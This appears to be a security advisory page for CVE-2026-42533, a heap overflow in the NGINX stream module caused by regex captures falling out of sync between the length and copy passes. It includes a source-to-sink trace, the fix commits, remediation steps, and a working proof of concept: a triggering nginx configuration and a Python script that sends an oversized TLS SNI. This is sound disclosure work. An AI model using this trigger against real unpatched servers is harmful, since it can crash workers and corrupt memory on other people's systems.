Stream complex-value capture desynchronization causes heap overflow (CVE-2026-42533)
NGINX stream complex values allocated from stale capture state, then copied attacker-controlled regex captures
CVSS 3.1 base score
HighVector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Summary
Source
ngx_stream_core_preread_phase()
src/stream/ngx_stream_core_module.c:412
Sink
ngx_stream_script_copy_capture_code()
src/stream/ngx_stream_script.c:940
ngx_stream_complex_value() calculated an output length and copied the output in separate passes over mutable session-wide regex capture state. In a stream expression such as return "$1$m", the first pass initially counted $1 as zero bytes. Evaluating the later $m variable ran a regex-backed map over attacker-controlled TLS SNI and populated the session's capture array. The copy pass then revisited $1, found the new capture, and copied the SNI hostname into the buffer allocated from the stale one-byte length.
A live ASan build at NGINX commit e8053c867f9ab14f323e3019ccab585d857abb66 confirmed a 12,000-byte write in ngx_stream_script_copy_capture_code() past the one-byte complex-value allocation. The public F5 advisory, GitHub advisory, and CVE record classify the issue as CWE-122. They assign CVSS 3.1 score 8.1 (High) and CVSS 4.0 score 9.2 (Critical), describe both regex-map capture ordering and non-cacheable-variable variants, and identify NGINX Open Source 1.30.4 and 1.31.3 as the fixed releases. The NGINX security index lists 0.9.6-1.31.2 as vulnerable and 1.31.3+ as not vulnerable. F5 credits Mufeed VH of Winfunc Research among the researchers who independently reported the issue.
NGINX shipped the mainline fix in PR #1561. The patch series first simplified capture-copy accounting in commit 2821920, added bounds checks to HTTP and stream script copies in commit b767540, and extended the same protection to direct HTTP script users in commit 25f920e. Stable NGINX 1.30 received the corresponding commits ea47fab, 7ac6789, and 326b17b through PR #1563.
Severity
- Attack vectorAV
- Network
- Attack complexityAC
- High
- Privileges requiredPR
- None
- User interactionUI
- None
- ScopeS
- Unchanged
- ConfidentialityC
- High
- IntegrityI
- High
- AvailabilityA
- High
Metric values as published in the disclosure vector. Meters show how far each value raises exposure.
Source-to-sink trace
- Source · attacker-controlledsrc/
stream/ ngx_stream_core_module.c:412 ngx_stream_core_preread_phase()
- Step 01src/
stream/ ngx_stream_core_module.c:412 A client connected to the reachable stream listener and supplied unauthenticated preread bytes. With
ssl_preread on, those bytes were parsed as a TLS ClientHello before any upstream connection or application authentication.cpp n = c->recv(c, b->last, size); - Step 02src/
stream/ ngx_stream_ssl_preread_module.c:401-407 The SSL preread parser allocated storage for the SNI hostname using the length encoded by the client. The generic parser copy state then copied the attacker-controlled hostname bytes into this session-owned buffer.
cpp host = ngx_pnalloc(ctx->pool, size); if (host == NULL) { return NGX_ERROR; } ctx->host.data = host; - Step 03src/
stream/ ngx_stream_script.c:82-100 ngx_stream_complex_value()ran all length opcodes, allocated exactly that predicted length, and only then ran the copy opcodes. Both passes read mutable capture fields from the samengx_stream_session_t.cpp for (i = 0; ip && *ip; i++) { lcode = *(ngx_stream_script_len_code_pt *) ip; len += lcode(&le); } value->len = len; value->data = ngx_pnalloc(s->connection->pool, len); while (*(uintptr_t *) e.ip) { code = *(ngx_stream_script_code_pt *) e.ip; code((ngx_stream_script_engine_t *) &e); } - Step 04src/
stream/ ngx_stream_script.c:909-914 (before fix) The
$1length opcode ran before the regex-backed map variable. With no current capture, it contributed zero bytes to the allocation and did not reserve space for a later capture.cpp if (n < s->ncaptures) { cap = s->captures; return cap[n + 1] - cap[n]; } return 0; - Step 05src/
stream/ ngx_stream_variables.c:1172-1184 The following
$mlength opcode evaluatedmap $ssl_preread_server_name $m. Its regex matched the attacker-controlled SNI and published new offsets andcaptures_datainto the session-wide capture state after$1had already been sized.cpp rc = ngx_regex_exec(re->regex, str, s->captures, len); if (rc == NGX_REGEX_NO_MATCHED) { return NGX_DECLINED; } s->ncaptures = rc * 2; s->captures_data = str->data; - Step 06src/
stream/ ngx_stream_script.c:87-90 With the map value
X, the stale predicted output length was one byte. NGINX allocated that one-byte result even though$1now referred to the much longer SNI capture.cpp value->len = len; value->data = ngx_pnalloc(s->connection->pool, len); - Step 07src/
stream/ ngx_stream_script.c:937-940 (before fix) During the copy pass, the
$1opcode observed the newly populated capture state and copied the full SNI hostname without checking the remaining result-buffer capacity. The ASan proof reached this sink with a 12,000-byte write.cpp if (n < s->ncaptures) { cap = s->captures; p = s->captures_data; e->pos = ngx_copy(pos, &p[cap[n]], cap[n + 1] - cap[n]); } - Step 08src/
stream/ ngx_stream_script.c:680-704,982-989 (fix, commit b767540) The accepted fix records the allocated buffer end and routes literal, variable, and capture copies through a shared length guard. A mismatch logs an alert, stops the script, sets an internal-error status, and makes
ngx_stream_complex_value()fail closed.cpp if (e->end - e->pos < (ssize_t) len) { ngx_log_error(NGX_LOG_ALERT, e->session->connection->log, 0, "no buffer space in script copy"); e->ip = ngx_stream_script_exit; e->status = NGX_STREAM_INTERNAL_SERVER_ERROR; return NGX_ERROR; } /* capture copy */ if (ngx_stream_script_check_length(e, len) != NGX_OK) { return; } e->pos = ngx_copy(pos, p, len); - Sinksrc/
stream/ ngx_stream_script.c:940 ngx_stream_script_copy_capture_code()
Impact
Reported impact
The demonstrated primitive is an unauthenticated remote heap/pool out-of-bounds write in an NGINX worker, with write contents and length controlled through TLS SNI. The proof copied 12,000 attacker-controlled bytes into an output allocation sized for one byte. ASan and hardened allocators terminate the worker, producing denial of service; without them, adjacent pool or heap state can be corrupted. The public CVE states that code execution is possible when ASLR is disabled or bypassed, but this proof does not claim a reliable production code-execution chain.
Attack surface
NGINX Open Source and NGINX Plus data-plane listeners that evaluate affected complex values. The confirmed stream path requires ngx_stream_module, PCRE/PCRE2 support, ngx_stream_ssl_preread_module, a reachable stream listener, and a regex-backed stream variable such as map $ssl_preread_server_name $m. The public advisory also covers equivalent HTTP map/regex and non-cacheable-variable length/copy desynchronization patterns.
Preconditions
For the demonstrated stream trigger, ssl_preread on must expose attacker-controlled SNI to a regex-backed map, and the same complex value must reference a positional capture before the map output, such as return "$1$m". No earlier regex may have populated an equivalent capture before the length pass. The attacker needs no authentication, local access, or user interaction, but exploitation depends on this non-default configuration.
Attack path
- 1
Connect to the public stream listener and send a TLS ClientHello containing a long attacker-controlled SNI hostname.
- 2
Make the first complex-value length opcode inspect a positional capture before any capture exists, so it reserves zero bytes.
- 3
Let a later map variable execute its regex over the SNI and replace the session-wide capture state.
- 4
Allow the length pass to allocate only the map output length, one byte for
Xin the confirmed configuration. - 5
Reach the copy pass, where the positional capture now exists and the vulnerable opcode copies the long SNI beyond the allocation.
Proof of concept
- 01
Environment setup
Check out the confirmed vulnerable NGINX revision and build it with the stream preread module and AddressSanitizer:
bash git clone https://github.com/nginx/nginx.git cd nginx git checkout e8053c867f9ab14f323e3019ccab585d857abb66 auto/configure \ --with-stream \ --with-stream_ssl_preread_module \ --with-debug \ --with-cc-opt='-O1 -g -fsanitize=address -fno-omit-frame-pointer' \ --with-ld-opt='-fsanitize=address' make -j"$(getconf _NPROCESSORS_ONLN 2>/dev/null || sysctl -n hw.ncpu 2>/dev/null || echo 2)" - 02
Target configuration
Save this as
conf/capture-desync.confand start NGINX in the foreground withASAN_OPTIONS='detect_leaks=0:abort_on_error=1:symbolize=1' objs/nginx -p "$PWD" -c conf/capture-desync.conf:nginx worker_processes 1; master_process off; daemon off; pid /tmp/nginx-capture-desync.pid; error_log stderr debug; events { worker_connections 1024; } stream { map $ssl_preread_server_name $m { ~^(.+)$ X; default X; } server { listen 127.0.0.1:8443; ssl_preread on; return "$1$m"; } } - 03
Exploit delivery
Send a TLS ClientHello whose SNI hostname contains 12,000
abytes:python import socket import struct sni = b"a" * 12000 ext_data = struct.pack("!H", 3 + len(sni)) ext_data += b"\x00" ext_data += struct.pack("!H", len(sni)) ext_data += sni sni_ext = b"\x00\x00" + struct.pack("!H", len(ext_data)) + ext_data body = b"\x03\x03" body += b"\x00" * 32 body += b"\x00" body += struct.pack("!H", 2) + b"\x13\x01" body += b"\x01\x00" body += struct.pack("!H", len(sni_ext)) + sni_ext handshake = b"\x01" + len(body).to_bytes(3, "big") + body record = b"\x16\x03\x01" + struct.pack("!H", len(handshake)) + handshake with socket.create_connection(("127.0.0.1", 8443), timeout=5) as sock: sock.sendall(record) try: sock.recv(64) except OSError: pass - 04
Expected response
A vulnerable ASan build aborts with the capture copy in the stack:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 12000 #1 ... in ngx_stream_script_copy_capture_code ngx_stream_script.c:940 SUMMARY: AddressSanitizer: heap-buffer-overflow ngx_stream_script.c:940 in ngx_stream_script_copy_capture_code - 05
Outcome
The request proves that regex evaluation between the length and copy passes can turn a previously absent positional capture into an attacker-sized copy. On NGINX 1.30.4, 1.31.3, or a build containing the applicable bounds-check commits, the same request must not produce an ASan report or crash the worker; the script should stop safely when the predicted and actual copy lengths diverge.
Remediation
Guidance
Upgrade NGINX Open Source to 1.31.3+ or the stable 1.30.4+ release. For source deployments, apply the full mainline security series from PR #1561 (2821920, b767540, and 25f920e) or the corresponding stable series from PR #1563 (ea47fab, 7ac6789, and 326b17b); the central bounds-enforcement commits are b767540492e8c79a58bc26034d3bab2f708b7bd1 and 7ac67898bdfed2140a1bedcda252074cca11f494. Before upgrading, remove affected complex-value ordering: do not reference positional captures before a regex-backed map output, prefer named captures scoped to the regex that creates them, and avoid volatile/non-cacheable expressions whose value can change between sizing and copying. Treat configuration changes only as temporary defense in depth because the upstream patch protects all standard script copy paths.
e.ip = val->values;e.pos = value->data;e.buf = *value;while (*(uintptr_t *) e.ip) {code = *(ngx_stream_script_code_pt *) e.ip;code((ngx_stream_script_engine_t *) &e);}/* capture copy had no result-buffer bound */e->pos = ngx_copy(pos, &p[cap[n]], cap[n + 1] - cap[n]);e.ip = val->values;e.pos = value->data;e.end = value->data + len;e.buf = *value; while (*(uintptr_t *) e.ip) { code = *(ngx_stream_script_code_pt *) e.ip; code((ngx_stream_script_engine_t *) &e);} if (e.status) { return NGX_ERROR;} /* every capture copy is now bounded */if (ngx_stream_script_check_length(e, len) != NGX_OK) { return;} e->pos = ngx_copy(pos, p, len);
Check the upstream record for the project's current remediation status.
Investigate the paths that matter in your codebase.
Winfunc can trace relevant code paths, preserve supporting evidence, and prepare remediation suggestions for engineering review within an agreed scope.
